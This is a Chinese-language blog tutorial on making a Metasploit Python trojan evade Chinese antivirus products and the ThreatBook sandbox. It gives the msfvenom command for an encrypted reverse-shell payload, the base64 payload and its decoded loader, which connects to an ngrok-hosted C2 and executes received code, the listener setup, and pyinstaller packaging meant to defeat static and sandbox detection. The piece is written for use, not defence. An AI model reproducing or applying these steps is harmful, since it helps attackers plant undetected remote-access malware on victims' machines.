【木马免杀思路】msf木马免杀 python转exe(一) 截止8月8日通杀360,火绒,微步

时间:2024-02-19 15:55:54

本文讲述如何免杀msf木马并成功上线,主要内容包括隐藏c2静态查杀过行为查杀

0x00. 隐藏c2

为了隐藏c2,我们这里使用了ngrok的内网穿透,获得了一个ngrok提供的域名(ngrok可在官网下载:https://ngrok.com/):

执行以下命令,将本地4455端口映射到公网的端口:

./ngrok tcp 4455

这样我们就获得了 6.tcp.ngrok.io这个域名,以及18260这个端口

0x01. 过行为查杀

使用msfvenom命令生成python木马(为了绕过流量检测,使用了reverse_tcp_ssl加密流量)

msfvenom -p python/meterpreter/reverse_tcp_ssl LHOST=6.tcp.ngrok.io LPORT=18260 -f raw -o payload.py --platform python -a python

生成的payload.py的内容如下:

exec(__import__(\'base64\').b64decode(__import__(\'codecs\').getencoder(\'utf-8\')(\'aW1wb3J0IHpsaWIsYmFzZTY0LHNzbCxzb2NrZXQsc3RydWN0LHRpbWUKZm9yIHggaW4gcmFuZ2UoMTApOgoJdHJ5OgoJCXNvPXNvY2tldC5zb2NrZXQoMiwxKQoJCXNvLmNvbm5lY3QoKCc2LnRjcC5uZ3Jvay5pbycsMTgyNjApKQoJCXM9c3NsLndyYXBfc29ja2V0KHNvKQoJCWJyZWFrCglleGNlcHQ6CgkJdGltZS5zbGVlcCg1KQpsPXN0cnVjdC51bnBhY2soJz5JJyxzLnJlY3YoNCkpWzBdCmQ9cy5yZWN2KGwpCndoaWxlIGxlbihkKTxsOgoJZCs9cy5yZWN2KGwtbGVuKGQpKQpleGVjKHpsaWIuZGVjb21wcmVzcyhiYXNlNjQuYjY0ZGVjb2RlKGQpKSx7J3MnOnN9KQo=\')[0]))

将其中的base64编码后的字符串进行解码,得到如下内容,并保存为msf.py

 1 import zlib,base64,ssl,socket,struct,time
 2 for x in range(10):
 3     try:
 4         so=socket.socket(2,1)
 5         so.connect((\'6.tcp.ngrok.io\',18260))
 6         s=ssl.wrap_socket(so)
 7         break
 8     except:
 9         time.sleep(5)
10 l=struct.unpack(\'>I\',s.recv(4))[0]
11 d=s.recv(l)
12 while len(d)<l:
13     d+=s.recv(l-len(d))
14 exec(zlib.decompress(base64.b64decode(d)),{\'s\':s})

此时,msfconsole中开启监听(由于使用了内网穿透,所以这里的lhost是127.0.0.1):

1 use exploit/multi/handler
2 set payload python/meterpreter/reverse_tcp_ssl
3 set lhost 127.0.0.1
4 set lport 4455
5 exloit

此时,运行msf.py,msf可成功上线:

 

0x02、过静态查杀

把msf.py直接上传到微步在线

被微步认为是恶意的原因:命中了威胁情报IOC

其实最简单的处理办法就是把ip改成自己vps的ip,但是这么一来,就无法做到隐藏c2的目的了

我们来分析一下,为什么会被情报判定系统命中呢:

  • 1. 明文上传python文件,可以直接通过代码获取ngrok的域名
  • 2. 微步在沙箱中运行了该python文件,检测了外连ip

那么如何解决呢?

  • 1. 加密,或上传二进制文件
  • 2. 让微步的沙箱无法运行我们上传的文件

 1. 加密,或上传二进制文件

使用pyinstaller把python文件转成exe的二进制文件

安装pyinstaller:

pip install pyinstaller

编译msf.py(使用-F参数只生成一个文件):

pyinstaller -F msf.py

执行完毕后,会在dist目录下生成msf.exe(在MacOS下生成的是msf)

然后执行msf.exe

如果报错,no moudel named \'imp\',需要在msf.py的import语句里再导入imp模块

检出率 2/25,被判定为安全

微步的沙箱为windows7系统,由于缺少某些必要的dll文件,导致无法运行此exe文件,因此无法命中ngrok域名 IOC情报

上线:

 

 

 

 

----------------------------------------

 如果上传微步时选的win10环境,会被查杀,等我下次再想办法绕过一下,现在去吃饭了